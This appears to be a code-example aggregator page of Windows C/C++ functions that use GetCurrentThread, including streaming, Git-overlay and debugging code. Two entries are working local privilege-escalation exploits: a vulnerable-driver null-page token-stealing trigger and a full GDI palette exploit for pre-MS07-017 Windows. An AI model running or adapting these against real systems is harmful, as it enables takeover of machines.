Пример #1
0
void RTMPPublisher::SocketLoop()
{
    bool canWrite = false;

    int delayTime;
    int latencyPacketSize;

    WSANETWORKEVENTS networkEvents;

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);

    WSAEventSelect(rtmp->m_sb.sb_socket, hWriteEvent, FD_READ|FD_WRITE|FD_CLOSE);

    //Low latency mode works by delaying delayTime ms between calls to send() and only sending
    //a buffer as large as latencyPacketSize at once. This causes keyframes and other data bursts
    //to be sent over several sends instead of one large one.
    if (lowLatencyMode == LL_MODE_AUTO)
    {
        //Auto mode aims for a constant rate of whatever the stream bitrate is and segments into
        //MTU sized packets (test packet captures indicated that despite nagling being enabled,
        //the size of the send() buffer is still important for some reason). Note that delays
        //become very short at this rate, and it can take a while for the buffer to empty after
        //a keyframe.
        delayTime = 1400.0f / (dataBufferSize / 1000.0f);
        latencyPacketSize = 1460;
    }
    else if (lowLatencyMode == LL_MODE_FIXED)
    {
        //We use latencyFactor - 2 to guarantee we're always sending at a slightly higher
        //rate than the maximum expected data rate so we don't get backed up
        latencyPacketSize = dataBufferSize / (latencyFactor - 2);
        delayTime = 1000 / latencyFactor;
    }
    else
    {
        latencyPacketSize = dataBufferSize;
        delayTime = 0;
    }

    SetupSendBacklogEvent ();

    HANDLE hObjects[3];

    hObjects[0] = hWriteEvent;
    hObjects[1] = hBufferEvent;
    hObjects[2] = hSendBacklogEvent;

    for (;;)
    {
        if (bStopping && WaitForSingleObject(hSocketLoopExit, 0) != WAIT_TIMEOUT)
        {
            OSEnterMutex(hDataBufferMutex);
            if (curDataBufferLen == 0)
            {
                //OSDebugOut (TEXT("Exiting on empty buffer.\n"));
                OSLeaveMutex(hDataBufferMutex);
                break;
            }

            //OSDebugOut (TEXT("Want to exit, but %d bytes remain.\n"), curDataBufferLen);
            OSLeaveMutex(hDataBufferMutex);
        }

        int status = WaitForMultipleObjects (3, hObjects, FALSE, INFINITE);
        if (status == WAIT_ABANDONED || status == WAIT_FAILED)
        {
            Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WaitForMultipleObjects failure"));
            App->PostStopMessage();
            return;
        }

        if (status == WAIT_OBJECT_0)
        {
            //Socket event
            if (WSAEnumNetworkEvents (rtmp->m_sb.sb_socket, NULL, &networkEvents))
            {
                Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WSAEnumNetworkEvents failure, %d"), WSAGetLastError());
                App->PostStopMessage();
                return;
            }

            if (networkEvents.lNetworkEvents & FD_WRITE)
                canWrite = true;

            if (networkEvents.lNetworkEvents & FD_CLOSE)
            {
                if (bStopping)
                    Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE during shutdown, %d bytes lost, error %d"), curDataBufferLen, networkEvents.iErrorCode[FD_CLOSE_BIT]);
                else
                    Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE, error %d"), networkEvents.iErrorCode[FD_CLOSE_BIT]);
                FatalSocketShutdown ();
                return;
            }

            if (networkEvents.lNetworkEvents & FD_READ)
            {
                BYTE discard[16384];
                int ret, errorCode;
                BOOL fatalError = FALSE;

                for (;;)
                {
                    ret = recv(rtmp->m_sb.sb_socket, (char *)discard, sizeof(discard), 0);
                    if (ret == -1)
                    {
                        errorCode = WSAGetLastError();

                        if (errorCode == WSAEWOULDBLOCK)
                            break;

                        fatalError = TRUE;
                    }
                    else if (ret == 0)
                    {
                        errorCode = 0;
                        fatalError = TRUE;
                    }

                    if (fatalError)
                    {
                        Log(TEXT("RTMPPublisher::SocketLoop: Socket error, recv() returned %d, GetLastError() %d"), ret, errorCode);
                        FatalSocketShutdown ();
                        return;
                    }
                }
            }
        }
        else if (status == WAIT_OBJECT_0 + 2)
        {
            //Ideal send backlog event
            ULONG idealSendBacklog;

            if (!idealsendbacklogquery(rtmp->m_sb.sb_socket, &idealSendBacklog))
            {
                int curTCPBufSize, curTCPBufSizeSize = sizeof(curTCPBufSize);
                getsockopt (rtmp->m_sb.sb_socket, SOL_SOCKET, SO_SNDBUF, (char *)&curTCPBufSize, &curTCPBufSizeSize);

                if (curTCPBufSize < (int)idealSendBacklog)
                {
                    int bufferSize = (int)idealSendBacklog;
                    setsockopt(rtmp->m_sb.sb_socket, SOL_SOCKET, SO_SNDBUF, (const char *)&bufferSize, sizeof(bufferSize));
                    Log(TEXT("RTMPPublisher::Socketloop: Increasing send buffer to ISB %d (buffer: %d / %d)"), idealSendBacklog, curDataBufferLen, dataBufferSize);
                }
            }

            SetupSendBacklogEvent ();
            continue;
        }
        
        if (canWrite)
        {
            bool exitLoop = false;
            do
            {
                OSEnterMutex(hDataBufferMutex);

                if (!curDataBufferLen)
                {
                    //this is now an expected occasional condition due to use of auto-reset events, we could end up emptying the buffer
                    //as it's filled in a previous loop cycle, especially if using low latency mode.
                    OSLeaveMutex(hDataBufferMutex);
                    //Log(TEXT("RTMPPublisher::SocketLoop: Trying to send, but no data available?!"));
                    break;
                }
                
                int ret;
                if (lowLatencyMode != LL_MODE_NONE)
                {
                    int sendLength = min (latencyPacketSize, curDataBufferLen);
                    ret = send(rtmp->m_sb.sb_socket, (const char *)dataBuffer, sendLength, 0);
                }
                else
                {
                    ret = send(rtmp->m_sb.sb_socket, (const char *)dataBuffer, curDataBufferLen, 0);
                }

                if (ret > 0)
                {
                    if (curDataBufferLen - ret)
                        memmove(dataBuffer, dataBuffer + ret, curDataBufferLen - ret);
                    curDataBufferLen -= ret;

                    bytesSent += ret;

                    SetEvent(hBufferSpaceAvailableEvent);
                }
                else
                {
                    int errorCode;
                    BOOL fatalError = FALSE;

                    if (ret == -1)
                    {
                        errorCode = WSAGetLastError();

                        if (errorCode == WSAEWOULDBLOCK)
                        {
                            canWrite = false;
                            OSLeaveMutex(hDataBufferMutex);
                            break;
                        }

                        fatalError = TRUE;
                    }
                    else if (ret == 0)
                    {
                        errorCode = 0;
                        fatalError = TRUE;
                    }

                    if (fatalError)
                    {
                        //connection closed, or connection was aborted / socket closed / etc, that's a fatal error for us.
                        Log(TEXT("RTMPPublisher::SocketLoop: Socket error, send() returned %d, GetLastError() %d"), ret, errorCode);
                        OSLeaveMutex(hDataBufferMutex);
                        FatalSocketShutdown ();
                        return;
                    }
                }

                //finish writing for now
                if (curDataBufferLen <= 1000)
                    exitLoop = true;

                OSLeaveMutex(hDataBufferMutex);

                if (delayTime)
                    Sleep (delayTime);
            } while (!exitLoop);
        }
    }

    Log(TEXT("RTMPPublisher::SocketLoop: Graceful loop exit"));
}
DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    PVOID nullPointer = NULL;
    ULONG magicValue = 0xBAADF00D;
    PVOID nullPageBaseAddress = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Mapping Null Page\n");

        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");

        nullPointer = (PVOID)((ULONG)nullPageBaseAddress + 0x4);

        // now set the function pointer
        *(PULONG)nullPointer = (ULONG)pEopShellcode;

        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointer);
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointer);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
                        (LPVOID)&magicValue,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
Пример #3
0
void CFolderCrawler::WorkerThread()
{
	HANDLE hWaitHandles[2];
	hWaitHandles[0] = m_hTerminationEvent;
	hWaitHandles[1] = m_hWakeEvent;
	CTGitPath workingPath;
	ULONGLONG currentTicks = 0;

	for(;;)
	{
		bool bRecursive = !!(DWORD)CRegStdDWORD(L"Software\\TortoiseGit\\RecursiveOverlay", TRUE);

		SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);

		DWORD waitResult = WaitForMultipleObjects(_countof(hWaitHandles), hWaitHandles, FALSE, INFINITE);

		// exit event/working loop if the first event (m_hTerminationEvent)
		// has been signaled or if one of the events has been abandoned
		// (i.e. ~CFolderCrawler() is being executed)
		if(m_bRun == false || waitResult == WAIT_OBJECT_0 || waitResult == WAIT_ABANDONED_0 || waitResult == WAIT_ABANDONED_0+1)
		{
			// Termination event
			break;
		}

		SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);

		// If we get here, we've been woken up by something being added to the queue.
		// However, it's important that we don't do our crawling while
		// the shell is still asking for items
		bool bFirstRunAfterWakeup = true;
		for(;;)
		{
			if (!m_bRun)
				break;
			// Any locks today?
			if (CGitStatusCache::Instance().m_bClearMemory)
			{
				CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
				CGitStatusCache::Instance().ClearCache();
				CGitStatusCache::Instance().m_bClearMemory = false;
			}
			if(m_lCrawlInhibitSet > 0)
			{
				// We're in crawl hold-off
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl hold-off\n");
				Sleep(50);
				continue;
			}
			if (bFirstRunAfterWakeup)
			{
				Sleep(20);
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl bFirstRunAfterWakeup\n");
				bFirstRunAfterWakeup = false;
				continue;
			}
			if ((m_blockReleasesAt < GetTickCount64()) && (!m_blockedPath.IsEmpty()))
			{
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl stop blocking path %s\n", m_blockedPath.GetWinPath());
				m_blockedPath.Reset();
			}
			CGitStatusCache::Instance().RemoveTimedoutBlocks();

			while (!m_pathsToRelease.empty())
			{
				AutoLocker lock(m_critSec);
				CTGitPath path = m_pathsToRelease.Pop();
				GitStatus::ReleasePath(path.GetWinPathString());
			}

			if (m_foldersToUpdate.empty() && m_pathsToUpdate.empty())
			{
				// Nothing left to do
				break;
			}
			currentTicks = GetTickCount64();
			if (!m_pathsToUpdate.empty())
			{
				{
					AutoLocker lock(m_critSec);

					m_bPathsAddedSinceLastCrawl = false;

					workingPath = m_pathsToUpdate.Pop();
					if ((!m_blockedPath.IsEmpty()) && (m_blockedPath.IsAncestorOf(workingPath)))
					{
						// move the path to the end of the list
						m_pathsToUpdate.Push(workingPath);
						if (m_pathsToUpdate.size() < 3)
							Sleep(50);
						continue;
					}
				}

				// don't crawl paths that are excluded
				if (!CGitStatusCache::Instance().IsPathAllowed(workingPath))
					continue;
				// check if the changed path is inside an .git folder
				CString projectroot;
				if ((workingPath.HasAdminDir(&projectroot)&&workingPath.IsDirectory()) || workingPath.IsAdminDir())
				{
					// we don't crawl for paths changed in a tmp folder inside an .git folder.
					// Because we also get notifications for those even if we just ask for the status!
					// And changes there don't affect the file status at all, so it's safe
					// to ignore notifications on those paths.
					if (workingPath.IsAdminDir())
					{
						// TODO: add git specific filters here. is there really any change besides index file in .git
						//       that is relevant for overlays?
						/*CString lowerpath = workingPath.GetWinPathString();
						lowerpath.MakeLower();
						if (lowerpath.Find(L"\\tmp\\") > 0)
							continue;
						if (CStringUtils::EndsWith(lowerpath, L"\\tmp"))
							continue;
						if (lowerpath.Find(L"\\log") > 0)
							continue;*/
						// Here's a little problem:
						// the lock file is also created for fetching the status
						// and not just when committing.
						// If we could find out why the lock file was changed
						// we could decide to crawl the folder again or not.
						// But for now, we have to crawl the parent folder
						// no matter what.

						//if (lowerpath.Find(L"\\lock") > 0)
						//	continue;
						// only go back to wc root if we are in .git-dir
						do
						{
							workingPath = workingPath.GetContainingDirectory();
						} while(workingPath.IsAdminDir());
					}
					else if (!workingPath.Exists())
					{
						CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
						CGitStatusCache::Instance().RemoveCacheForPath(workingPath);
						continue;
					}

					if (!CGitStatusCache::Instance().IsPathGood(workingPath))
					{
						AutoLocker lock(m_critSec);
						// move the path, the root of the repository, to the end of the list
						if (projectroot.IsEmpty())
							m_pathsToUpdate.Push(workingPath);
						else
							m_pathsToUpdate.Push(CTGitPath(projectroot));
						if (m_pathsToUpdate.size() < 3)
							Sleep(50);
						continue;
					}

					CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Invalidating and refreshing folder: %s\n", workingPath.GetWinPath());
					{
						AutoLocker print(critSec);
						_sntprintf_s(szCurrentCrawledPath[nCurrentCrawledpathIndex], MAX_CRAWLEDPATHSLEN, _TRUNCATE, L"Invalidating and refreshing folder: %s", workingPath.GetWinPath());
						++nCurrentCrawledpathIndex;
						if (nCurrentCrawledpathIndex >= MAX_CRAWLEDPATHS)
							nCurrentCrawledpathIndex = 0;
					}
					InvalidateRect(hWndHidden, nullptr, FALSE);
					{
						CAutoReadLock readLock(CGitStatusCache::Instance().GetGuard());
						// Invalidate the cache of this folder, to make sure its status is fetched again.
						CCachedDirectory * pCachedDir = CGitStatusCache::Instance().GetDirectoryCacheEntry(workingPath);
						if (pCachedDir)
						{
							git_wc_status_kind status = pCachedDir->GetCurrentFullStatus();
							pCachedDir->Invalidate();
							if (workingPath.Exists())
							{
								pCachedDir->RefreshStatus(bRecursive);
								// if the previous status wasn't normal and now it is, then
								// send a notification too.
								// We do this here because GetCurrentFullStatus() doesn't send
								// notifications for 'normal' status - if it would, we'd get tons
								// of notifications when crawling a working copy not yet in the cache.
								if ((status != git_wc_status_normal) && (pCachedDir->GetCurrentFullStatus() != status))
								{
									CGitStatusCache::Instance().UpdateShell(workingPath);
									CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": shell update in crawler for %s\n", workingPath.GetWinPath());
								}
							}
							else
							{
								CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
								CGitStatusCache::Instance().RemoveCacheForPath(workingPath);
							}
						}
					}
					//In case that svn_client_stat() modified a file and we got
					//a notification about that in the directory watcher,
					//remove that here again - this is to prevent an endless loop
					AutoLocker lock(m_critSec);
					m_pathsToUpdate.erase(workingPath);
				}
				else if (workingPath.HasAdminDir())
				{
					if (!workingPath.Exists())
					{
						CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
						CGitStatusCache::Instance().RemoveCacheForPath(workingPath);
						if (!workingPath.GetContainingDirectory().Exists())
							continue;
						else
							workingPath = workingPath.GetContainingDirectory();
					}
					CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Updating path: %s\n", workingPath.GetWinPath());
					{
						AutoLocker print(critSec);
						_sntprintf_s(szCurrentCrawledPath[nCurrentCrawledpathIndex], MAX_CRAWLEDPATHSLEN, _TRUNCATE, L"Updating path: %s", workingPath.GetWinPath());
						++nCurrentCrawledpathIndex;
						if (nCurrentCrawledpathIndex >= MAX_CRAWLEDPATHS)
							nCurrentCrawledpathIndex = 0;
					}
					InvalidateRect(hWndHidden, nullptr, FALSE);
					{
						CAutoReadLock readLock(CGitStatusCache::Instance().GetGuard());
						// Invalidate the cache of folders manually. The cache of files is invalidated
						// automatically if the status is asked for it and the file times don't match
						// anymore, so we don't need to manually invalidate those.
						CCachedDirectory* cachedDir = CGitStatusCache::Instance().GetDirectoryCacheEntry(workingPath.GetDirectory());
						if (cachedDir && workingPath.IsDirectory())
							cachedDir->Invalidate();
						if (cachedDir && cachedDir->GetStatusForMember(workingPath, bRecursive).GetEffectiveStatus() > git_wc_status_unversioned)
							CGitStatusCache::Instance().UpdateShell(workingPath);
					}
					AutoLocker lock(m_critSec);
					m_pathsToUpdate.erase(workingPath);
				}
				else
				{
					if (!workingPath.Exists())
					{
						CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
						CGitStatusCache::Instance().RemoveCacheForPath(workingPath);
					}
				}
			}
			if (!m_foldersToUpdate.empty())
			{
				{
					AutoLocker lock(m_critSec);
					m_bItemsAddedSinceLastCrawl = false;

					// create a new CTGitPath object to make sure the cached flags are requested again.
					// without this, a missing file/folder is still treated as missing even if it is available
					// now when crawling.
					workingPath = CTGitPath(m_foldersToUpdate.Pop().GetWinPath());

					if ((!m_blockedPath.IsEmpty())&&(m_blockedPath.IsAncestorOf(workingPath)))
					{
						// move the path to the end of the list
						m_foldersToUpdate.Push(workingPath);
						if (m_foldersToUpdate.size() < 3)
							Sleep(50);
						continue;
					}
				}
				if ((!m_blockedPath.IsEmpty())&&(m_blockedPath.IsAncestorOf(workingPath)))
					continue;
				if (!CGitStatusCache::Instance().IsPathAllowed(workingPath))
					continue;
				if (!CGitStatusCache::Instance().IsPathGood(workingPath))
					continue;

				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawling folder: %s\n", workingPath.GetWinPath());
				{
					AutoLocker print(critSec);
					_sntprintf_s(szCurrentCrawledPath[nCurrentCrawledpathIndex], MAX_CRAWLEDPATHSLEN, _TRUNCATE, L"Crawling folder: %s", workingPath.GetWinPath());
					++nCurrentCrawledpathIndex;
					if (nCurrentCrawledpathIndex >= MAX_CRAWLEDPATHS)
						nCurrentCrawledpathIndex = 0;
				}
				InvalidateRect(hWndHidden, nullptr, FALSE);
				{
					CAutoReadLock readLock(CGitStatusCache::Instance().GetGuard());
					// Now, we need to visit this folder, to make sure that we know its 'most important' status
					CCachedDirectory * cachedDir = CGitStatusCache::Instance().GetDirectoryCacheEntry(workingPath.GetDirectory());
					// check if the path is monitored by the watcher. If it isn't, then we have to invalidate the cache
					// for that path and add it to the watcher.
					if (!CGitStatusCache::Instance().IsPathWatched(workingPath))
					{
						if (workingPath.HasAdminDir())
						{
							CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Add watch path %s\n", workingPath.GetWinPath());
							CGitStatusCache::Instance().AddPathToWatch(workingPath);
						}
						if (cachedDir)
							cachedDir->Invalidate();
						else
						{
							CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
							CGitStatusCache::Instance().RemoveCacheForPath(workingPath);
							// now cacheDir is invalid because it got deleted in the RemoveCacheForPath() call above.
							cachedDir = nullptr;
						}
					}
					if (cachedDir)
						cachedDir->RefreshStatus(bRecursive);
				}

				// While refreshing the status, we could get another crawl request for the same folder.
				// This can happen if the crawled folder has a lower status than one of the child folders
				// (recursively). To avoid double crawlings, remove such a crawl request here
				AutoLocker lock(m_critSec);
				if (m_bItemsAddedSinceLastCrawl)
				{
					m_foldersToUpdate.erase(workingPath);
				}
			}
		}
	}
	_endthread();
}
Пример #4
0
static void PrintCallstack(FILE* f, PEXCEPTION_POINTERS ex)
{
    if (!loadDbgHelp())
        return;
    const HANDLE hProcess   = GetCurrentProcess();
    const HANDLE hThread    = GetCurrentThread();
    BOOL result = pSymInitialize(
                      hProcess,
                      0,
                      TRUE
                  );
    CONTEXT             context = *(ex->ContextRecord);
    STACKFRAME64        stack= {0};
#ifdef _M_IX86
    stack.AddrPC.Offset    = context.Eip;
    stack.AddrPC.Mode      = AddrModeFlat;
    stack.AddrStack.Offset = context.Esp;
    stack.AddrStack.Mode   = AddrModeFlat;
    stack.AddrFrame.Offset = context.Ebp;
    stack.AddrFrame.Mode   = AddrModeFlat;
#else
    stack.AddrPC.Offset    = context.Rip;
    stack.AddrPC.Mode      = AddrModeFlat;
    stack.AddrStack.Offset = context.Rsp;
    stack.AddrStack.Mode   = AddrModeFlat;
    stack.AddrFrame.Offset = context.Rsp;
    stack.AddrFrame.Mode   = AddrModeFlat;
#endif
    IMAGEHLP_SYMBOL64_EXT symbol;
    symbol.SizeOfStruct  = sizeof(IMAGEHLP_SYMBOL64);
    symbol.MaxNameLength = maxnamelength;
    DWORD64 displacement   = 0;
    int beyond_main=-1; // emergency exit, see below
    for (ULONG frame = 0; ; frame++) {
        result = pStackWalk64
                 (
#ifdef _M_IX86
                     IMAGE_FILE_MACHINE_I386,
#else
                     IMAGE_FILE_MACHINE_AMD64,
#endif
                     hProcess,
                     hThread,
                     &stack,
                     &context,
                     NULL,
                     pSymFunctionTableAccess64,
                     pSymGetModuleBase64,
                     NULL
                 );
        if (!result)  // official end...
            break;
        pSymGetSymFromAddr64(hProcess, (ULONG64)stack.AddrPC.Offset, &displacement, &symbol);
        TCHAR undname[maxnamelength]= {0};
        pUnDecorateSymbolName((const TCHAR*)symbol.Name, (PTSTR)undname, (DWORD)GetArrayLength(undname), UNDNAME_COMPLETE);
        if (beyond_main>=0)
            ++beyond_main;
        if (_tcscmp(undname, _T("main"))==0)
            beyond_main=0;
        fprintf(f,
                "%lu. 0x%08I64X in ",
                frame, (ULONG64)stack.AddrPC.Offset);
        fputs((const char *)undname, f);
        fputs("\n", f);
        if (0==stack.AddrReturn.Offset || beyond_main>2) // StackWalk64() sometimes doesn't reach any end...
            break;
    }

    FreeLibrary(hLibDbgHelp);
    hLibDbgHelp=0;
}
Пример #5
0
int main(int argc, char *argv[])
{    
    SECTION_BASIC_INFORMATION SectionInfo;    
    PGDI_TABLE_ENTRY pGdiEntry;
    PLOGPALETTE pLogPal;
    HANDLE hPal;
    PVOID OriginalPalObject;
    PVOID FalsePalObject; 
       
    HANDLE hThread = GetCurrentThread();  
    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);  
    HANDLE hSection = (ULONG)0;  
    PVOID MapFile = 0;
    HANDLE hProcess = (HANDLE)0xFFFFFFFF;
    WORD Pid = GetCurrentProcessId();                 
                  
   	NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
         
    printf ("##########################################################\n");                
    printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
    printf ("#        All Windows 2000/XP before MS07-017 patch       #\n");
    printf ("##########################################################\n");   
    printf ("# coded by Lionel d'Hauenens   http://www.labo-asso.com  #\n");
    printf ("##########################################################\n\n");                                     
                                                      
    // Search handle section and mapper in virtual memory of user
    while ((DWORD)hSection<0xFFFF) 
    {
        SectionInfo.Attributes = 0;  
        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
        if (MapFile)
        {
            NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For compatibility with win2k 
            UnmapViewOfFile(MapFile); 
            MapFile = 0;
        }                
        hSection++;
    }

    if (!MapFile)
    {
       printf ("Could not found shared section !\n");
       exit(0);             
    }              

    // Create Palette
    pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);    
    pLogPal->palNumEntries = 1;
    pLogPal->palVersion = 0x300;
    hPal = (HANDLE)CreatePalette(pLogPal);  
    
    if (!hPal)
    {
       printf ("Could not create palette !\n");
       exit(0);             
    }      
    
    // Search the entry of pal object 
    OriginalPalObject = (PVOID)0;        
    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
    while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
    {
          if ( pGdiEntry->ProcessID == Pid  &&
                  pGdiEntry->nType == PAL_TYPE )
          {
              // Save original pointer
              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;                          
              break;
          }           
          pGdiEntry++;          
    }

    if (!OriginalPalObject)
    {
       printf ("Could not find entry of Pal object !\n");
       exit(0);                  
    }  
    
    // Create the false Pal object
    FalsePalObject                   = (PVOID) calloc(0x100/4,4);
    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle    
    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag
    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex 
  
    printf ("Section:\n--------\n");                                                             
    printf ("Handle: 0x%08X    Attributes: %08X    Size: 0x%08X\n\n", hSection
                                                                    , SectionInfo.Attributes
                                                                    , SectionInfo.Size.QuadPart);
    printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); 
    printf ("Address of user map: 0x%08X\n", MapFile); 
    printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);  
    printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );     
    printf ("Address of Hook(): 0x%08X\n\n", &hook);  

    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////  
    printf ("->Test...");
    flag_test = 0;            
    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); 
         
         // Active false Pal object    
         pGdiEntry->pKernelInfo = FalsePalObject;   
                 
              GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);
             
         // Restore original Pal object
         pGdiEntry->pKernelInfo = OriginalPalObject; 
    
    SetThreadPriority (hThread,OriginalThreadPriotity);
    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////
    
    if (!flag_test) printf ("ERROR !!!\n");
    else printf ("OK :)\n");

    UnmapViewOfFile(MapFile);
    DeleteObject ((HANDLE)hPal);
    free((PVOID)pLogPal);
    free((PVOID)FalsePalObject);  
    system("PAUSE");          
    return (0);         
}
Пример #6
0
//**********************************************************************
//
// FUNCTION:  IsAdmin - This function checks the token of the
//            calling thread to see if the caller belongs to
//            the Administrators group.
//
// PARAMETERS:   none
//
// RETURN VALUE: TRUE if the caller is an administrator on the local
//            machine.  Otherwise, FALSE.
//
//**********************************************************************
BOOL IsAdmin(void)
{
    HANDLE hToken;
    DWORD  dwStatus;
    DWORD  dwAccessMask;
    DWORD  dwAccessDesired;
    DWORD  dwACLSize;
    DWORD  dwStructureSize = sizeof(PRIVILEGE_SET);
    PACL   pACL            = NULL;
    PSID   psidAdmin       = NULL;
    BOOL   bReturn         = FALSE;

    PRIVILEGE_SET   ps;
    GENERIC_MAPPING GenericMapping;

    PSECURITY_DESCRIPTOR     psdAdmin           = NULL;
    SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;

    __try {

        // AccessCheck() requires an impersonation token.
        ImpersonateSelf(SecurityImpersonation);

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
        {
            if (GetLastError() != ERROR_NO_TOKEN) __leave;

            // If the thread does not have an access token, we'll
            // examine the access token associated with the process.
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) __leave;
        }

        if (!AllocateAndInitializeSid(&SystemSidAuthority, 2,
                                      SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
                                      0, 0, 0, 0, 0, 0, &psidAdmin))
            __leave;

        psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
        if (psdAdmin == NULL) __leave;

        if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION)) __leave;

        // Compute size needed for the ACL.
        dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD);

        // Allocate memory for ACL.
        pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
        if (pACL == NULL) __leave;

        // Initialize the new ACL.
        if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2)) __leave;

        dwAccessMask = ACCESS_READ | ACCESS_WRITE;

        // Add the access-allowed ACE to the DACL.
        if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin)) __leave;

        // Set the DACL to the SD.
        if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE)) __leave;

        // AccessCheck is sensitive about what is in the SD; set
        // the group and owner.
        SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
        SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);

        if (!IsValidSecurityDescriptor(psdAdmin)) __leave;

        dwAccessDesired = ACCESS_READ;

        //
        // Initialize GenericMapping structure even though you
        // do not use generic rights.
        //
        GenericMapping.GenericRead    = ACCESS_READ;
        GenericMapping.GenericWrite   = ACCESS_WRITE;
        GenericMapping.GenericExecute = 0;
        GenericMapping.GenericAll     = ACCESS_READ | ACCESS_WRITE;

        if (!AccessCheck(psdAdmin, hToken, dwAccessDesired,
                         &GenericMapping, &ps, &dwStructureSize, &dwStatus,
                         &bReturn))
        {
            printf("AccessCheck() failed with error %lu\n", GetLastError());
            __leave;
        }

